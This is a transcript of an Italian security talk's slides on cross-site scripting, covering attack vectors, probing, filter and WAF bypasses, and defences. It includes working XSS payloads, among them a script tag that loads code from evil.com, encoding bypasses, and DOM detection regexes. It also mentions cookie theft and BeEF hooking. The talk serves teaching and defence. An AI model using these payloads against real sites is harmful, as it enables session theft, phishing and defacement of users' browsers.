Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Hackers vs Developers - Cross Site Scripting (XSS) Attacco e difesa

1,130 views

Published on

E’ da poco stata pubblicata la nuova versione della OWASP Testing Guide che – nella versione 4 – aggiorna, amplia e completa la versione precedente. Comprende inoltre tre paragrafi specifici per i test dei Cross Site Scripting e altri che comprendono impatti simili. Non è un caso che nella TOP 10 2013 troviamo il Cross Site Scripting al terzo posto. Durante il talk ci focalizzeremo sul Cross Site Scripting e quali sono i vari metodi di attacco e difesa di questa vulneraiblità che – spesso sottovalutata – può portare anche al defacement di un sito web.

Published in: Technology
  • Be the first to comment

Hackers vs Developers - Cross Site Scripting (XSS) Attacco e difesa

  1. 1. Hackers vs Developers Cross Site Scripting Attacco e Difesa Simone Onofri @simoneonofri mailto:simone@onofri.org CC BY-ND-NC
  2. 2. Agenda • Introduzione • Cos’è l’XSS • Un po’ di storia • Anatomia di un XSS • Probing • Exploiting • Come difendersi • Trovare l’ispirazione • Conclusioni
  3. 3. Introduzione
  4. 4. Cos’è un XSS? Le vulnerabilità di tipo XSS si verificano quando dati non validati vengono restituiti nel corpo della risposta HTTP e vengono interpretati dal browser. E’ così possibile eseguire codice lato client all’interno del browser degli utenti. L’impatto di business è spesso medio/alto*. E’ possibile compromettere la sessione degli utenti eseguire attacchi di phishing particolarmente sofisticati e, nei casi peggiori, eseguire un defacement o comunque prendere il controllo del browser della vittima.
  5. 5. XSS nel pratico
  6. 6. XSS nel codice <?php echo $_GET['title']; ?>
  7. 7. Quando nasce l’XSS? 1991 – Nasce il Web 1996 – Nasce JavaScript 1999 – David Ross lavora ad una «Script Injection» su Internet Explorer 2000 – Il CERT Microsoft pubblica un avviso battezzando la vulnerabilità come «cross- site-scripting» (CSS) 2000 – In ambito underground si diffonde l’«HTML Injection» 2005 – Il Worm «Samy» tramte un XSS si replica in circa 20 ore su più di un milione di utenti 2006 – Si diffondono port scanner, keylogger e script per rubare informazioni, tutto in Javascript
  8. 8. Il problema al tempo (era il 2000) Un grande numero di web server che genera pagine dinamiche non verifica la presenza di caratteri speciali o non lo fa correttamente ed è possibile eseguire codice nel contesto di sicurezza del browser rispetto il web server vulnerabile. Fonte: http://web.archive.org/web/20070626182758/http://ha.ckers.org/cross-site-scripting.html
  9. 9. L’XSS nella OWASP TOP 10 Web 2003/2004 XSS al 4° posto 2007 1° posto 2010 2° Posto 2013 3° Posto Fonte: https://www.owasp.org/
  10. 10. Il problema ora (2015)
  11. 11. Classificazione di un XSS •L’XSS (CWE-79) è figlia di: •Improper Input Validation (CWE-20) •Improper Neutralization of Special Elements in Output Used by a Downstream Component (‘Injection’) (CWE-74) Fonte: https://cwe.mitre.org/data/definitions/79.html
  12. 12. «Dipende tutto da dove prendiamo i nostri input, da come li elaboriamo e da come li trasformiamo nei nostri output» Il nocciolo delle vulnerabilità relative all’Improper Input Validation
  13. 13. Il nocciolo delle vulnerabilità relative all’Improper Input Validation (per dirlo con un immagine)
  14. 14. Improper Input Validation? URIMethod Header: Value <CR> <LF> Header: Value <CR> <LF> Header: Value <CR> <LF> HTTP Request Body <CR> <LF> <CR> <LF> <SP> Protocol<SP> CodeProtocol Header: Value <CR> <LF> Header: Value <CR> <LF> Header: Value <CR> <LF> HTTP Response Body <CR> <LF> <CR> <LF> <SP> Explanati on <SP>
  15. 15. All’Interno dell’URI (QueryString) Request GET /cerca.php?q=<script>al ert(1)</script> HTTP/1.1 Esempio <?php echo ‘Hai cercato:’ - $_GET[‘q’]; ?>
  16. 16. All’Interno dell’URI (Path) Request GET /iscriviti.php/’><scrip t>alert(1)</script><for m action=‘ HTTP/1.1 Esempio <?php echo ‘<form action=’. $_SERVER['PHP_SELF'].’> ’; ?>
  17. 17. All’interno degli Header – User Agent Request GET /index.php HTTP/1.1 User-Agent: <script>alert(1)</scrip t> Esempio • Sistemi di statistiche • Se stampo a schermo il browser dell’utente • Log dell’applicazione o del web server • …
  18. 18. All’interno degli Header – Cookie Request GET /login.php HTTP/1.1 Cookie: Ut<script>alert(1)</scr ipt>ente Esempio • Quando stampo o manipolo i cookie sia lato server che lato client • Sistemi di autenticazione • …
  19. 19. All’interno del body (POST) Request POST/iscriviti.php HTTP/1.1 […] nome=<script>alert(1)</ s> Esempio <?php echo ‘Controlla i dati, il tuo nome:’ - $_POST[‘nome’]; ?>
  20. 20. All’interno del body (POST multipart) Request POST/upload.php HTTP/1.1 […] Content-Disposition: form-data; name=“<xss>"; filename=“<xss>" Esempio • Caricamento file • Invio di e-mail • …
  21. 21. «Quando riceviamo degli Input, pensiamo a dove li andiamo a scrivere» Il nocciolo delle vulnerabilità relative all’Improper Input Validation (repetita iuvant)
  22. 22. Dove possiamo andare a scrivere il nostro Input? E-mail (oggetto, destinatario, corpo del messaggio) Database Log Filesystem (nome o estensione del file, contenuto) Altre applicazioni Web API o RSS feed Altri elementi visualizzati in un browser
  23. 23. Ci sono tre tipologie di XSS Tipo 1: Reflected XSS (non persistenti) • Si hanno quando i parametri vulnerabili sono riflessi direttamente nella pagina • Particolarmente utili per phishing o link malevoli • Si gestiscono tramite dei controlli lato server Tipo 2: Stored XSS (persistenti) • Si hanno quando i parametri vulnerabili sono salvati in qualche locazione e quindi riflessi (p.e. da un altro utente) • Particolarmente utili per il furto di sessione, defacement o anti-forensics • Si gestiscono tramite controlli lato server Tipo 0: DOM-based (basate sul DOM) • Si hanno quando alcuni elementi del DOM vengono elaborati e stampati senza un preventivo controllo • Particolarmente utili in quanto lato client, esisteva anche una DOM XSS «universale» tramite Adobe Reader. • Si gestiscono tramite controlli lato client
  24. 24. Un esempio di DOM XSS http://www.example.com/index.html#<script>alert( 1)</script> <script> document.write("<b>Il tuo URL è<b> : " + document.baseURI); </script>
  25. 25. Cosa dobbiamo controllare per le DOM XSS? Da un lato (Input/Sources) quegli elementi DOM potenzialmente accessibili all’utente p.e.: • document.URL • document.documentURI • location.href • location.search • location.* • window.name • document.referrer • … Dall’altro lato (Output/Sink) quando ho dei punti dove eseguo quell’Input p.e.: • document.write • (element).innerHTML • (element).src (in certain elements) • eval • setTimout / setInterval • execScript • … Fonte: https://code.google.com/p/domxsswiki/
  26. 26. Tornando sulle XSS Stored e le Reflected • Dobbiamo fare attenzione a dove viene stampato quanto ricevuto in input. • Corpo HTML • Attributi di elementi HTML • Cookie • All’interno di un HREF • All’interno di un IFRAME • Codice CSS (anche @style) • Codice Javascript • Codice JSON • Dentro un CDATA • Codice XML • Cookie • Dialetti (p.e. BBcode)
  27. 27. Probing di un XSS stored o reflected • Il concetto fondamentale è, una volta che inviamo un input, dove viene riflesso o comunque scritto, anche dopo che è stato memorizzato? • Il mio input viene riflesso o scritto così come l’ho inserito oppure viene modificato in qualche modo? • BONUS: se viene scartato il pacchetto? • BONUS: se tutto l’input viene cancellato? • BONUS: se l’input qualche volta viene modificato e qualche volta no, quasi casualmente?
  28. 28. '';!--"<SCs>=&{()}//, Un probe per ghermirli e nel buio incatenarli, con alcune funzionalità particolari e alcune note sull’utilizzo
  29. 29. Tra il bene e il male <script>alert(1)</script> %3Cscript%3Ealert(9)%3C%2Fscript%3E %253Cscript%253Ealert(1)%253C%252Fscript%253E &lt;script&gt;alert(1)&lt;/script&gt;
  30. 30. Probing di un XSS stored o reflected (cont.) • Quali sono i caratteri che vengono modificati e come vengono modificati? • Tutti vengono codificati • Solo alcuni vengono codificati • Vengono codificati diversamente secondo dove sono riflessi o scritti • Una o più parti del vettore sono cancellate o sostituite con altri caratteri • Le modifiche eseguite rendono possibile la «rottura» della sintassi? • Posso tentare delle tecniche per eseguire il bypass delle funzionalità di verifica? • Eventualmente mi posso «accontentare» di un HTML Injection anche se non posso inserire codice Javascript?
  31. 31. Alcuni bypass tipici • Usare un vettore cambiando il case dei caratteri • Se la funziona fa uppercase usare un vettore che funziona anche se tutto maiuscolo • Cambiare la codifica (p.e. http://hackvector.co.uk) • Se è un filtro a blacklist, provare gli elementi/attributi di HTML5 • Se è un filtro a blacklist che cerca di identificare i tag o gli attributi per capire cosa filtrare e cosa no, provare ad inserire dei caratteri come r 0 che possono essere ignorati dal browser • Inserire del codice HTML che, anche se non formalmente corretto, sia comunque interpretato correttamente dal browser • Ricordati che esistono i `grave accents`
  32. 32. Esempi di alcuni bypass tipici <sCrIPt>alert(1)</SCrIpT> <SCRIPT SRC=http://evil.com/x.js></SCRIPT> <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw- SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
  33. 33. Esempi di alcuni bypass tipici (cont.) ¼script¾alert(¢XSS¢)¼/script¾ <a b=c> <[CDATA[<script>alert(1)</script>]>
  34. 34. E per i DOM XSS? Code Review • Bisogna leggersi il codice lato client • Trovare le source • /(locations*[[.])|([.[]s*["']?s*( arguments|dialogArguments|inne rHTML|write(ln)?|open(Dialog)?|s howModalDialog|cookie|URL|doc umentURI|baseURI|referrer|nam e|opener|parent|top|content|sel f|frames)W)|(localStorage|sessio nStorage|Database)/ Fonte: https://code.google.com/p/domxsswiki/wiki/FindingDOMXSS
  35. 35. E per i DOM XSS? Code Review (cont.) Trovare i sink /((src|href|data|locati on|code|value|action)s *["']]*s*+?s*=)|((r eplace|assign|navigate| getResponseHeader|open( Dialog)?|showModalDialo g|eval|evaluate|execCom mand|execScript|setTime out|setInterval)s*["' ]]*s*()/ Menzione speciale a jQuery ($) /after(|.append(|.b efore(|.html(|.prep end(|.replaceWith(| .wrap(|.wrapAll(|$ (|.globalEval(|.add (|jQUery(|$(|.parse HTML(/ Fonte: https://code.google.com/p/domxsswiki/wiki/FindingDOMXSS
  36. 36. Sfruttare un XSS • Una volta che abbiamo notato che il nostro input viene riflesso in qualche modo potenzialmente utile, è importante riuscire ad eseguire del codice. • Una semplice PoC è la comparsa di un alert/messaggio sulla pagina • In alcuni casi può essere utile far vedere che è possibile accedere alla sessione utente tipicamente mantenuta nel cookie (N.B. richiede che non sia abilitato l’HTTPOnly nel cookie)
  37. 37. Vettori XSS più o meno classici <script>alert("XSS")</script> <script>alert(/XSS/)</script> <script>alert(document.domain)</script> <img src=x onerror=alert(1)>
  38. 38. Quando serve un vettore più corto possibile • Ricordarsi che «il browser è più intelligente di noi» • Gli spazi contano • Non sempre servono le virgolette • http:// può essere // • Utilizzare più punti di inserzione • Sftuttare il Javascript già esistente • Url shortener
  39. 39. Vettori particolarmente corti <svg/onload=alert(1)> <script src=//v.ht/aa /> <script src=e.js />
  40. 40. XSS into the wild – Cookie Stealing • Possiamo • Recuperare la sessione dell’utente • Utilizzare il cookie per accedere alla sua sessione • Nota bene • NON deve essere abilitato HTTPOnly nel cookie di sessione • Potrebbero essere presenti filtri su IP/User-Agent per abilitarci la sessione
  41. 41. XSS into the wild – BrowsEr Exploitation Framework • BeEF può essere inserito nel browser tramite un XSS, sfruttando la fiducia dell’utene sul dominio • Dobbiamo far mantenere il browser aperto http://beefproject.com/
  42. 42. XSS into the wild – Phishing • Sempre sfruttando la fiducia dell’utente verso il dominio, è possibile inserire un redirect o un form per rubare le sue credenziali • L’impatto è particolarmente interessante su banche e similari
  43. 43. XSS into the wild – Cross Site Request Forgery • Una combinazione particolarmente utile è sfruttare un CSRF sullo stesso sito web. • Bypass alcune protezioni (p.e. controllo sul referer) • Essere particolarmente sicuri che la CSRF abbia successo
  44. 44. XSS into the wild – HTML Injection • Anche se non è possibile inserire del codice javascript è comunque possibile avere effetti interessanti • L’importante è inserire del codice HTML ed eventualmente del CSS, utile anche per fare dei defacement se è stored in home page <div style='background: black; color: lime; width: 100000px; height: 10000px; position: ablosute; z- index: 10000; top: 0; left: 0;'>PWN</div>
  45. 45. Come difendersi • Impostare una codifica coerente per tutto il livello applicativo • Forzare tutti gli input e gli output per le codifiche preimpostate • Verificare e tipizzare il dato secondo quanto ci si aspetta • Codificare secondo il contesto l’input prima che diventi output • In caso di necessità di includere codice HTML fornito come input • Applicare una funzionalità di whitelist • Utilizzare un dialetto e un parser sicuro (p.e. attenzione a Markdown) • Attenzione ai tag/attributi malformati, normalizzare prima i dati • Applicare le funzionalità accessorie dei browser • L’utilizzo di blacklist è sconsigliato.
  46. 46. Esempio di come difendersi <?php // html 4.01 with utf-8 header('Content-type: text/html; charset: utf-8'); header('X-Content-Type-Options: nosniff'); header('X-XSS-Protection: 1; mode=block'); header('Content-Security-Policy: reflected-xss block'); header('X-Content-Security-Policy: reflected-xss block'); header('X-WebKit-CSP: reflected-xss block'); $title = mb_convert_encoding($_GET['title'], 'UTF-8'); echo htmlspecialchars($title,ENT_QUOTES |ENT_HTML401,'UTF-8'); } ?>
  47. 47. Esempio di bypass di una nota funzione in PHP Utilizzo di htmlspecialchars <input type=text name=param value=<?php echo htmlspecialchars($_GET[ 'param']); ?>> xss xss_03.php?param=x onchange=alert(1)
  48. 48. Esempio di Bypass di un noto WAF che utilizza delle blacklist xss_02.php?param=1;alert(1) • Not Acceptable! • An appropriate representation of the requested resource could not be found on this server. xss_02.php?param=1;prompt(1) <br/> <script> var x = 1;prompt(1); </script>
  49. 49. «Security by cut and paste?» No thanks
  50. 50. Su alcuni siti web sono pubblicate delle classifiche o degli attacchi a siti web noti • http://www.xssed.com/ • https://www.xssposed.org/
  51. 51. Strumenti • Gli strumenti possono essere utili per trovare velocemente le XSS, ma non tutti sono efficaci • E’ importante capire come funzionano e come farli funzionare • Alcuni strumenti • Burp Pro • OWASP ZAP • Xsser • XSSme (Firefox plugin)
  52. 52. «Never trust the user input, output too» Motto per la parameter manipulation
  53. 53. Grazie simone@onofri.org @simoneonofri https://onofri.org/ https://linkedin.com/in/simoneonofri

×